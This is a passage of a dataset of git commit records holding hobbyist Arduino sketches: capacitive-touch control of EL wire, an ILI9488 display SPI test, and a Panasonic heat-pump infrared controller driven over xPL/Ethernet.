while(spinner < 34) { \n spinner++;\n }\n }\n\n \/\/ Make EL lamps float \n switchOutputs(noGlow);\n delayMicroseconds(30);\n}\n\nvoid senseChannels_internal(int chargeDelay_micros = 1000) { \n noInterrupts();\n \n \/\/ make sure pwm oscillator is running.\n pwm613configure(capSenseFrequency);\n pwmSet13(127);\n \n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n\n if (chargeDelay_micros < 1) {\n chargeDelay_micros = 1000;\n }\n \n\/\/ Set ADC initialization bits - make sure things haven't gotten misconfigured. \n \/\/ 6: right adjust bits \/\/ last 5 bits select ADC.\n ADMUX = adcSensePorts[3];\n \/\/ high speed mode \/ 0 \/ analog selection, extra bit.\n ADCSRB = B10100000;\n \/\/ disable adc\n ADCSRA = B00000110;\n\n initSense_withoutResistor();\n\n\/\/ Begin measurement sequence\n \/\/ digitalWrite(clearPin, LOW);\n PORTD = PORTD & B01111111;\n \n delayMicroseconds(chargeDelay_micros);\n\/\/ start measurement\n\/\/ Go backwords so that channel 4 has the lowest sensitivity and 1 has the highest.\n for(int i = 3; i >= 0; i--) {\n if (toSense_internal[i]) {\n \/\/ enable \/ start \/ auto trigger \/ interrupt flag \/ interrupt enable \/\/\/ scale \/\/\/ p.315\n ADCSRA = B11000110;\n delayMicroseconds(50);\n ADMUX = adcSensePorts[(i + 3) % 4];\n while ((ADCSRA & B01000000));\n sampleVal = ADCL; \/\/ store lower byte ADC\n sampleVal += ADCH << 8; \/\/ store higher bytes ADC\n senseResults_internal[i] = sampleVal;\n }\n else { \n ADMUX = adcSensePorts[(i + 3) % 4];\n senseResults_internal[i] = -1;\n }\n }\n\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n interrupts();\n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n return;\n}\n\n\/\/ Sensing interfaces! \n\/\/ Note that the channel here corresponds to the number written on the board, \n\/\/ which is shifted up by one from the indicies in the senseResults array.\nint senseChannel(int channel, int chargeDelay_micros = 1000, bool isGlow = true) {\n if (channel < 0 || channel > 4) { \n Serial.println(\"Warning: you might not be measuring the channel you intend to!\");\n ledsOn();\n }\n channel = (channel - 1) % 4; \/\/ sanitize your inputs. \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = false; \n }\n toSense_internal[channel] = true;\n senseChannels_internal(chargeDelay_micros);\n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal[channel];\n}\n\nint* senseAll(int chargeDelay_micros = 1000, bool isGlow = true) {\n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = true; \n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal;\n}\n\n\n\nbool isSense_active[] = {true, true, true, false};\nint inactiveMeasure[channelCount];\nint activeProbe = 0;\n\/\/ This function saves a bit of time by not measuring \"inactive\" channels each cycle. \n\/\/ Makes the measurement go a bit faster, i.e. makes the EL dohickey brighter!\nint* senseAllActive(int chargeDelay_micros = 1000, bool isGlow = true) {\n activeProbe = (activeProbe + 1) % channelCount;\n for (int i = 0; i < 4; i++) { \n if (isSense_active[activeProbe]) {\n activeProbe = (activeProbe + 1) % channelCount;\n }\n else { \n break;\n }\n }\n \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = isSense_active[i]; \n if (i == activeProbe) { \n toSense_internal[i] = true;\n }\n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n\n \/\/ Change threshold for activating, might want to make this smaller?\n\/\/ if (inactiveMeasure[activeProbe] - senseResults_internal[activeProbe] > 50 || \n\/\/ senseResults_internal[activeProbe] < 400) { \n\/\/ isSense_active[activeProbe] = true;\n\/\/ }\n\/\/ else { \n inactiveMeasure[activeProbe] = senseResults_internal[activeProbe];\n\/\/ }\n \n for (int i = 0; i < 4; i++) { \n if (!isSense_active[i]) { \n senseResults_internal[i] = inactiveMeasure[i];\n }\n }\n\n \/\/ Serial.println(isSense_active[2] << 6);\n \n return senseResults_internal;\n}\n\n\/\/ The ardunio IDE insists on changing the frequency of the fast pwm when the board is programmed\n\/\/ This is a hack that accounts for that. \nvoid ensureCorrectFrequency() {\n switchOutputs(noGlow);\n ledsOff();\n\n capSenseFrequency = PWM187k;\n int read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n\/\/ Serial.print(\"187: \");\n\/\/ Serial.println(read187k);\n \n \n capSenseFrequency = PWM94k;\n int read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n\/\/ Serial.print(\"94: \");\n\/\/ Serial.println(read94k);\n\n if (read94k > read187k) { \n capSenseFrequency = PWM94k;\n digitalWrite(rxled, HIGH);\n if (read94k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n else{ \n capSenseFrequency = PWM187k;\n digitalWrite(rstled, HIGH);\n if (read187k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n ledsOff();\n}\n\n\/\/\/\/\/\/\/\/\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\/\/\/\/\/\/\/\/\/\/\/\n\nint* senseResults;\n\n#define smoothedSenseSize 21\nint smoothedSenseHistory[channelCount][smoothedSenseSize];\nint smoothedSenseIter = 1;\n\nvoid setup() {\n Serial.begin(9600); \n\n \/\/ hvSwitch communication\n pinMode(hvDigitalIn, OUTPUT);\n pinMode(hvClock, OUTPUT);\n\n pinMode(clearPin, OUTPUT);\n digitalWrite(clearPin, LOW);\n\n pinMode(10, OUTPUT);\n\n \n pinMode(elEnable, OUTPUT);\n digitalWrite(elEnable, HIGH);\n\n pinMode(detect, INPUT);\n\n pinMode(sense1, INPUT);\n pinMode(sense2, INPUT);\n pinMode(sense3, INPUT);\n pinMode(sense4, INPUT);\n\n pinMode(rxled, OUTPUT);\n pinMode(txled, OUTPUT);\n pinMode(rstled, OUTPUT); \n \n analogReference(DEFAULT);\n \n \/\/ this should be called after the clear pin is set low\n ensureCorrectFrequency();\n\n \/\/ Disables channels without EL plugged in. \n senseResults = senseAll(2300, true);\n for (int i = 0; i < 4; i++) {\n if (senseResults[i] > 620) { \n isSense_active[i] = false;\n }\n }\n\n senseResults = senseAll(1500, true);\n for (int i = 0; i < 4; i++) { \n inactiveMeasure[i] = senseResults[i];\n }\n\n for (int chan = 0; chan < 4; chan++) { \n for (int s = 0; s < smoothedSenseSize; s++) { \n smoothedSenseHistory[chan][s] = senseResults[chan];\n }\n }\n}\n\n\/\/ Do this instead of using a bunch of individual Serial.print statements to save time!\n\/\/ If your wire starts flashing when you are logging, this might be why!\n#define printLineSize 200\nchar logBuffer[printLineSize];\nchar tempLogBuffer[printLineSize];\n\n\n #define ENABLE_LOGGING\n\n#ifdef ENABLE_LOGGING\n\n#define subBufferSize 50\nchar signalBuffer[subBufferSize];\nchar impulseBuffer[subBufferSize];\n\/\/ These are in reference to the impulse, which is itself a funny denoising derivative-y thing\nchar extraBuffer[subBufferSize];\nchar derivativeBuffer[subBufferSize];\n\n#endif\n\nint val = 0;\n\nint minimum = 10000;\nint maximum = 0;\n\n#define senseSize 31\nint senseHistory[channelCount][senseSize];\nint senseHistoryTemp[senseSize];\nint senseHistoryIter = 0;\n\nbool isTouched = false;\nbool whereTouched[] = {false, false, false, false};\n\nfloat change = 0;\n\nbool shouldGlow = true;\n\nbool isOn = true;\nbool justSwitched = false;\nint switchedCount = 0;\n\n#define lagWindowSize 9\n#define attractingIndex 10\nint senseIndex[channelCount][lagWindowSize];\nint lagIter = 0;\nint senseLag[] = {0, 0, 0, 0};\n\nint channelMean[] = {0, 0, 0, 0};\nint chanImpulse; \nint chanPrevImpulse;\nint chanChangeCount;\n\n\/\/ Here are the main levers which control the operation of this program\n#define increaseWindow 13\n#define pureIncreaseThreshold 6\n#define increaseThresholdWithImpulse 4\n#define impulseThreshold 5\n#define bigImpulseThreshold 15\n#define glowTime_us 1300\n\nvoid loop() {\n senseResults = senseAllActive(1500, true);\n \n smoothedSenseIter = (smoothedSenseIter + 1) % smoothedSenseSize;\n lagIter = (lagIter + 1) % lagWindowSize;\n senseHistoryIter = (senseHistoryIter + 1) % senseSize;\n\n \/\/ Get new smoothed value\n for (int channel = 0; channel < channelCount; channel++) { \n senseHistory[channel][senseHistoryIter] = senseResults[channel];\n \n for (int i = 0; i < senseSize; i++) {\n senseHistoryTemp[i] = senseHistory[channel][i];\n }\n\n sort(senseHistoryTemp, senseSize);\n \n int prevMeasure = smoothedSenseHistory[channel][(smoothedSenseIter - 1 + smoothedSenseSize) % smoothedSenseSize];\n\/\/ prevMeasure += 1; \/\/ slight bias up;\n\n\/\/ \/\/ bias towards median\n\/\/ if (prevMeasure > senseHistoryTemp[attractingIndex]) { \n\/\/ prevMeasure = prevMeasure - 1;\n\/\/ }\n\/\/ else { \n\/\/ prevMeasure = prevMeasure + 1;\n\/\/ \/\/ prevMeasure = prevMeasure + (senseHistoryTemp[attractingIndex] - prevMeasure) \/ 8;\n\/\/ }\n\n\/\/ \/\/ slight bias to \n\/\/ if (senseLag[channel] > 1) { \n\/\/ prevMeasure = prevMeasure + 2; \n\/\/ }\n\/\/ long bestSquaredError = 10000;\n long bestScore = 0;\n int bestMatchIndex = 0;\n int startInd = senseIndex[channel][(lagIter + lagWindowSize - 1) % lagWindowSize] - 2;\n if (startInd < 0) { startInd = 0; }\n int endInd = startInd + 5 > senseSize - 10 ? senseSize - 10 : startInd + 5;\n\n\/\/ \/\/ bias towards median\n\/\/ if (endInd < attractingIndex) { \n\/\/ prevMeasure = prevMeasure + 3;\n\/\/ }\n\/\/ else if (startInd > attractingIndex) { \n\/\/ prevMeasure = prevMeasure - 3;\n\/\/ }\n \n for (int i = startInd + 1; i < endInd; i++) {\n long currSquaredError = (prevMeasure - senseHistoryTemp[i]) * (prevMeasure - senseHistoryTemp[i]);\n long currStep = senseHistoryTemp[i + 1] - senseHistoryTemp[i-1];\n long score = (currStep * currStep - currSquaredError * currSquaredError); \n \n if (score > bestScore) { \n bestScore = score;\n senseIndex[channel][lagIter] = i;\n }\n \n }\n\n startInd = senseIndex[channel][lagIter] + 2 > 10 ? 10 : senseIndex[channel][lagIter] + 2;\n for (int i = startInd; i > 0; i--) { \n if (senseHistoryTemp[i + 1] - senseHistoryTemp[i - 1] > 10) { \n senseIndex[channel][lagIter] = i;\n break;\n }\n }\n\n \n\n senseLag[channel] = senseIndex[channel][lagIter] - \n senseIndex[channel][(lagIter + 1) % lagWindowSize];\n\n \n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[senseIndex[channel][lagIter]];\n if (senseLag[channel] >= 2) { \n\/\/ for (int i = 0; i < 3; i++) { \n\/\/ senseHistory[channel][(senseHistoryIter + i + 5) % senseSize] = (senseHistory[channel][(senseHistoryIter + i + 5) % senseSize] \n\/\/ + senseHistoryTemp[senseIndex[channel][lagIter] - senseLag[channel] + 2]) \/ 2;\n\/\/ }\n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[senseIndex[channel][(lagIter + 1) % lagWindowSize] + 2]; \n }\n\/\/ if (senseLag[channel] < 0) { \n\/\/ smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[senseIndex[channel][lagIter] - senseLag[channel]]; \n\/\/ }\n\n \n\n\/\/ if (bestSquaredError < 3) { \n\/\/ smoothedSenseHistory[channel][smoothedSenseIter] = prevMeasure;\n\/\/ }\n\n\n if(senseHistoryIter==0 && channel == 0){\n for(int i=0; i<25; i++){\n Serial.print(senseHistoryTemp[i]);\n Serial.print(\", \");\n }\n Serial.println();\n \n }\n \n }\n\n for (int channel = 0; channel < channelCount; channel++) { \n channelMean[channel] = (channelMean[channel] * 2 + \n smoothedSenseHistory[channel][(smoothedSenseIter + 1 + smoothedSenseSize) % smoothedSenseSize]) \/ 3;\n\n chanImpulse = channelMean[channel] - smoothedSenseHistory[channel][smoothedSenseIter];\n chanPrevImpulse = channelMean[channel] - smoothedSenseHistory[channel][(smoothedSenseIter + smoothedSenseSize - 1) % smoothedSenseSize];\n chanChangeCount = 0;\n\n int senseDiff;\n for (int steps = 0; steps < increaseWindow; steps++) {\n senseDiff = smoothedSenseHistory[channel][(smoothedSenseIter - (steps + 1) + smoothedSenseSize) % smoothedSenseSize]\n - smoothedSenseHistory[channel][(smoothedSenseIter - (steps) + smoothedSenseSize) % smoothedSenseSize];\n \n if (senseDiff > 0) {\n chanChangeCount += 1; \n }\n\/\/ if (senseDiff < -5) {\n\/\/ chanChangeCount = -1; \n\/\/ break;\n\/\/ }\n }\n\n if (chanChangeCount == impulseThreshold + 1) { \n chanImpulse += 5;\n }\n \n \n if (switchedCount == 0 && isSense_active[channel] &&\n ((chanImpulse > impulseThreshold && chanChangeCount >= increaseThresholdWithImpulse) ||\n (chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse) ||\n (chanChangeCount >= pureIncreaseThreshold)) ){\n isTouched = true;\n whereTouched[channel] = true;\n#ifndef ENABLE_LOGGING\n sprintf(logBuffer, \"Switched channel: %d Measurement: %d Impulse: %d Adj transition count: %d Big Impulse: %d\",\n channel, smoothedSenseHistory[channel][smoothedSenseIter], chanImpulse, chanChangeCount, chanImpulse > bigImpulseThreshold);\n Serial.println(logBuffer);\n#endif\n }\n\n#ifdef ENABLE_LOGGING\n\n \/\/ EXEX - Logging inline - pull into a function!\n int extrabufflen;\n int derivativelen;\n int impulselen;\n\n switch (channel) {\n case 0:\n impulselen = sprintf(impulseBuffer, \"Imp: %d, \",\n chanImpulse);\n derivativelen = sprintf(derivativeBuffer, \"Change: %d, \",\n chanChangeCount);\n extrabufflen = sprintf(extraBuffer, \"Smoothing: %d %d, \", senseIndex[channel][lagIter], senseLag[channel]);\n\/\/ extrabufflen = sprintf(extraBuffer, \"Is Active: %d, \",isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n case 1:\n case 2:\n case 3:\n impulselen += sprintf(impulseBuffer + impulselen, \"%d, \",\n chanImpulse);\n derivativelen += sprintf(derivativeBuffer + derivativelen, \"%d, \",\n chanChangeCount);\n extrabufflen += sprintf(extraBuffer + extrabufflen, \"%d %d, \", senseIndex[channel][lagIter], senseLag[channel]);\n\/\/ extrabufflen += sprintf(extraBuffer + extrabufflen, \"%d, \", isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n default:\n break;\n }\n#endif\n \n }\n\n#ifdef ENABLE_LOGGING\n int signallen;\n for (int chan = 0; chan < channelCount; chan++) {\n switch (chan) {\n case 0:\n for (int l = 0; l < printLineSize; l++) {\n tempLogBuffer[l] = logBuffer[l];\n }\n signallen = sprintf(signalBuffer, \"Signal: %d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n case 1:\n case 2:\n case 3:\n signallen += sprintf(signalBuffer + signallen, \"%d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n default:\n Serial.print(\"blah \");\n break;\n }\n }\n\n snprintf(logBuffer, printLineSize, \"%20s %23s %20s %20s %s\",\n signalBuffer,\n impulseBuffer, \n derivativeBuffer,\n extraBuffer, \"\");\n\n Serial.println(logBuffer);\n#endif\n\n \n\n if (isTouched && switchedCount == 0) { \n isTouched = false;\n for (int chan = 0; chan < channelCount; chan++) {\n if (whereTouched[chan]) { \n#ifdef ENABLE_LOGGING\n Serial.println(\"SWITCHED CHANNEL!\");\n Serial.println(chan);\n#endif\n whereTouched[chan] = false;\n glow[chan] = !glow[chan];\n }\n }\n switchedCount = senseSize + smoothedSenseSize;\n }\n \n switchOutputs(glow);\n\n if (switchedCount > 0) {\n switchedCount--;\n }\n \n delayMicroseconds(glowTime_us);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_multichannel_rf9\/button_multichannel_rf9.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47ccd59b098f8eb13b447fd6333e066a993afff3","subject":"Start of ILI9488 example","message":"Start of ILI9488 example\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"ili9488.ino","new_file":"ili9488.ino","new_contents":"#include <EEPROM.h> \/\/' A{\n#include <SPI.h>\n#include <GD2.h>\n\n#define CSX 6 \/\/ chip select, active low\n#define DCX 2 \/\/ data\/command select\n#define SCL 3 \/\/ clock, rising edge\n#define SDA 4 \/\/ data in to ILI9488\n#define SDO 5 \/\/ data out from ILI9488\n\nvoid setup()\n{\n Serial.begin(1000000); \/\/ JCB\n \/\/ GD.begin(0);\n\n pinMode(CSX, OUTPUT);\n pinMode(DCX, OUTPUT);\n pinMode(SCL, OUTPUT);\n pinMode(SDA, OUTPUT);\n pinMode(SDO, INPUT);\n\n digitalWrite(CSX, HIGH);\n}\n\nvoid loop2()\n{\n GD.ClearColorRGB(0x103000);\n GD.Clear();\n GD.cmd_text(GD.w \/ 2, GD.h \/ 2, 31, OPT_CENTER, \"Hello world\");\n GD.swap();\n}\n\n\nvoid out_8(uint8_t b)\n{\n digitalWrite(CSX, LOW);\n for (int i = 0; i < 8; i++) {\n digitalWrite(SCL, LOW);\n digitalWrite(SDA, (b >> 7) & 1);\n digitalWrite(SCL, HIGH);\n b <<= 1;\n }\n digitalWrite(CSX, HIGH);\n}\n\nvoid loop()\n{\n digitalWrite(DCX, LOW);\n out_8(0xda); \/\/ RDID1\n\n Serial.println();\n digitalWrite(DCX, HIGH);\n digitalWrite(CSX, LOW);\n for (int i = 0; i < 8; i++) {\n digitalWrite(SCL, LOW);\n digitalWrite(SCL, HIGH);\n Serial.println(digitalRead(SDO), DEC);\n }\n digitalWrite(CSX, HIGH);\n\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ili9488.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d8513605ec268860fd4ebc5f6a9cdb1cf4e9b337","subject":"panasonic added","message":"panasonic added\n","repos":"marcass\/Heatpump_IRremote_nodemcu,marcass\/Heatpump_IRremote_nodemcu","old_file":"panasonic_heatpump.ino","new_file":"panasonic_heatpump.ino","new_contents":"\/\/ Simple xPL application to control Panasonic heat pumps \/ airconditioning devices\n\/\/ * Panasonic CKP series\n\/\/ * Panasonic DKE series\n\/\/\n\/\/ Connect an IR led (with 1k resistor in series)\n\/\/ between GND and digital pin 3\n\/\/\n\/\/ Requires the Ethernet shield and xPL\n\/\/\n\n#include <Arduino.h>\n#include \"SPI.h\"\n#include \"avr\/pgmspace.h\"\n#include \"Ethernet.h\"\n\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <EEPROM.h>\n#include \"xPL.h\" \/\/ from https:\/\/github.com\/ToniA\/arduino-xpl\n\n\/\/ xPL stuff, see the example xPL_Send_Arduino\n\nxPL xpl;\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\nbyte macAddress[] = { 0x02, 0x26, 0x89, 0x00, 0x00, 0x00 };\nchar macstr[18];\n\nIPAddress ip(192, 168, 0, 12); \/\/ This MAC\/IP address pair is also set as a static lease on the router\nIPAddress broadcast(192, 168, 0, 255);\nEthernetUDP Udp;\n\nvoid SendUdPMessage(char *buffer)\n{\n Udp.beginPacket(broadcast, xpl.udp_port);\n Udp.write(buffer);\n Udp.endPacket();\n}\n\n\/\/ Infrared LED on digital PIN 3 (needs a PWM pin)\n\/\/ Connect with 1 kOhm resistor in series to GND\n#define IR_LED_PIN 3\n\n\/\/ Ethernet shield reset pin\n#define ETHERNET_RST A0\n\n\/\/ Entropy pin needs to be unconnected\n#define ENTROPY_PIN A5\n\n\/\/ Panasonic CKP timing constants\n#define PANASONIC_AIRCON1_HDR_MARK 3400\n#define PANASONIC_AIRCON1_HDR_SPACE 3500\n#define PANASONIC_AIRCON1_BIT_MARK 800\n#define PANASONIC_AIRCON1_ONE_SPACE 2700\n#define PANASONIC_AIRCON1_ZERO_SPACE 1000\n#define PANASONIC_AIRCON1_MSG_SPACE 14000\n\n\/\/ Panasonic CKP codes\n#define PANASONIC_AIRCON1_MODE_AUTO 0x06 \/\/ Operating mode\n#define PANASONIC_AIRCON1_MODE_HEAT 0x04\n#define PANASONIC_AIRCON1_MODE_COOL 0x02\n#define PANASONIC_AIRCON1_MODE_DRY 0x03\n#define PANASONIC_AIRCON1_MODE_FAN 0x01\n#define PANASONIC_AIRCON1_MODE_ONOFF 0x00 \/\/ Toggle ON\/OFF\n#define PANASONIC_AIRCON1_MODE_KEEP 0x08 \/\/ Do not toggle ON\/OFF\n#define PANASONIC_AIRCON1_FAN_AUTO 0xF0 \/\/ Fan speed\n#define PANASONIC_AIRCON1_FAN1 0x20\n#define PANASONIC_AIRCON1_FAN2 0x30\n#define PANASONIC_AIRCON1_FAN3 0x40\n#define PANASONIC_AIRCON1_FAN4 0x50\n#define PANASONIC_AIRCON1_FAN5 0x60\n#define PANASONIC_AIRCON1_VS_AUTO 0xF0 \/\/ Vertical swing\n#define PANASONIC_AIRCON1_VS_UP 0x90\n#define PANASONIC_AIRCON1_VS_MUP 0xA0\n#define PANASONIC_AIRCON1_VS_MIDDLE 0xB0\n#define PANASONIC_AIRCON1_VS_MDOWN 0xC0\n#define PANASONIC_AIRCON1_VS_DOWN 0xD0\n#define PANASONIC_AIRCON1_HS_AUTO 0x08 \/\/ Horizontal swing\n#define PANASONIC_AIRCON1_HS_MANUAL 0x00\n\n\/\/ Panasonic DKE timing constants\n#define PANASONIC_AIRCON2_HDR_MARK 3500\n#define PANASONIC_AIRCON2_HDR_SPACE 1800\n#define PANASONIC_AIRCON2_BIT_MARK 420\n#define PANASONIC_AIRCON2_ONE_SPACE 1350\n#define PANASONIC_AIRCON2_ZERO_SPACE 470\n#define PANASONIC_AIRCON2_MSG_SPACE 10000\n\n\/\/ Panasonic DKE codes\n#define PANASONIC_AIRCON2_MODE_AUTO 0x00 \/\/ Operating mode\n#define PANASONIC_AIRCON2_MODE_HEAT 0x40\n#define PANASONIC_AIRCON2_MODE_COOL 0x30\n#define PANASONIC_AIRCON2_MODE_DRY 0x20\n#define PANASONIC_AIRCON2_MODE_FAN 0x60\n#define PANASONIC_AIRCON2_MODE_OFF 0x00 \/\/ Power OFF\n#define PANASONIC_AIRCON2_MODE_ON 0x01\n#define PANASONIC_AIRCON2_TIMER_CNL 0x08\n#define PANASONIC_AIRCON2_FAN_AUTO 0xA0 \/\/ Fan speed\n#define PANASONIC_AIRCON2_FAN1 0x30\n#define PANASONIC_AIRCON2_FAN2 0x40\n#define PANASONIC_AIRCON2_FAN3 0x50\n#define PANASONIC_AIRCON2_FAN4 0x60\n#define PANASONIC_AIRCON2_FAN5 0x70\n#define PANASONIC_AIRCON2_VS_AUTO 0x0F \/\/ Vertical swing\n#define PANASONIC_AIRCON2_VS_UP 0x01\n#define PANASONIC_AIRCON2_VS_MUP 0x02\n#define PANASONIC_AIRCON2_VS_MIDDLE 0x03\n#define PANASONIC_AIRCON2_VS_MDOWN 0x04\n#define PANASONIC_AIRCON2_VS_DOWN 0x05\n#define PANASONIC_AIRCON2_HS_AUTO 0x0D \/\/ Horizontal swing\n#define PANASONIC_AIRCON2_HS_MIDDLE 0x06\n#define PANASONIC_AIRCON2_HS_LEFT 0x09\n#define PANASONIC_AIRCON2_HS_MLEFT 0x0A\n#define PANASONIC_AIRCON2_HS_MRIGHT 0x0B\n#define PANASONIC_AIRCON2_HS_RIGHT 0x0C\n\n\/\/ Midea timing constants\n#define MIDEA_AIRCON1_HDR_MARK 4350\n#define MIDEA_AIRCON1_HDR_SPACE 4230\n#define MIDEA_AIRCON1_BIT_MARK 520\n#define MIDEA_AIRCON1_ONE_SPACE 1650\n#define MIDEA_AIRCON1_ZERO_SPACE 550\n#define MIDEA_AIRCON1_MSG_SPACE 5100\n\n\/\/ MIDEA codes\n#define MIDEA_AIRCON1_MODE_AUTO 0x10 \/\/ Operating mode\n#define MIDEA_AIRCON1_MODE_HEAT 0x30\n#define MIDEA_AIRCON1_MODE_COOL 0x00\n#define MIDEA_AIRCON1_MODE_DRY 0x20\n#define MIDEA_AIRCON1_MODE_FAN 0x60\n#define MIDEA_AIRCON1_MODE_FP 0x70 \/\/ Not a real mode...\n#define MIDEA_AIRCON1_MODE_OFF 0xFE \/\/ Power OFF - not real codes, but we need something...\n#define MIDEA_AIRCON1_MODE_ON 0xFF \/\/ Power ON\n#define MIDEA_AIRCON1_FAN_AUTO 0x02 \/\/ Fan speed\n#define MIDEA_AIRCON1_FAN1 0x06\n#define MIDEA_AIRCON1_FAN2 0x05\n#define MIDEA_AIRCON1_FAN3 0x03\n\n\n\/\/ Send the Panasonic CKP code\n\nvoid sendPanasonicCKP(byte operatingMode, byte fanSpeed, byte temperature, byte swingV, byte swingH)\n{\n byte sendBuffer[4];\n\n \/\/ Fan speed & temperature, temperature needs to be 27 in FAN mode\n if (operatingMode == PANASONIC_AIRCON1_MODE_FAN || operatingMode == (PANASONIC_AIRCON1_MODE_FAN | PANASONIC_AIRCON1_MODE_KEEP ))\n {\n temperature = 27;\n }\n\n sendBuffer[0] = fanSpeed | (temperature - 15);\n\n \/\/ Power toggle & operation mode\n sendBuffer[1] = operatingMode;\n\n \/\/ Swings\n sendBuffer[2] = swingV | swingH;\n\n \/\/ Always 0x36\n sendBuffer[3] = 0x36;\n\n \/\/ Send the code\n sendPanasonicCKPraw(sendBuffer);\n}\n\n\/\/ Send the Panasonic CKP raw code\n\nvoid sendPanasonicCKPraw(byte sendBuffer[])\n{\n \/\/ 40 kHz PWM frequency\n enableIROut(40);\n\n \/\/ Header, two first bytes repeated\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n\n for (int i=0; i<2; i++) {\n sendIRByte(sendBuffer[0], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[0], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[1], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[1], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n }\n\n \/\/ Pause\n\n mark(PANASONIC_AIRCON1_BIT_MARK);\n space(PANASONIC_AIRCON1_MSG_SPACE);\n\n \/\/ Header, two last bytes repeated\n\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n\n for (int i=0; i<2; i++) {\n sendIRByte(sendBuffer[2], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[2], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[3], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[3], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n }\n\n mark(PANASONIC_AIRCON1_BIT_MARK);\n space(0);\n}\n\n\/\/ Send the Panasonic CKP On\/Off code\n\/\/\n\/\/ CKP does not have discrete ON\/OFF commands, but this can be emulated by using the timer\n\/\/ The side-effects of using the timer are:\n\/\/ * one minute delay before the power state changes\n\/\/ * the 'TIMER' led (orange) is lit\n\nvoid sendPanasonicCKPOnOff(boolean powerState)\n{\n byte ON_msg[] = { 0x7F, 0x38, 0xBF, 0x38, 0x10, 0x3D, 0x80, 0x3D, 0x09, 0x34, 0x80, 0x34 }; \/\/ ON at 00:10, time now 00:09, no OFF timing\n byte OFF_msg[] = { 0x10, 0x38, 0x80, 0x38, 0x7F, 0x3D, 0xBF, 0x3D, 0x09, 0x34, 0x80, 0x34 }; \/\/ OFF at 00:10, time now 00:09, no ON timing\n byte *sendBuffer;\n\n if ( powerState == true ) {\n sendBuffer = ON_msg;\n } else {\n sendBuffer = OFF_msg;\n }\n\n \/\/ 40 kHz PWM frequency\n enableIROut(40);\n\n for (int i=0; i<6; i++) {\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n\n sendIRByte(sendBuffer[i*2 + 0], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[i*2 + 0], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[i*2 + 1], PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n sendIRByte(sendBuffer[i*2 + 1], 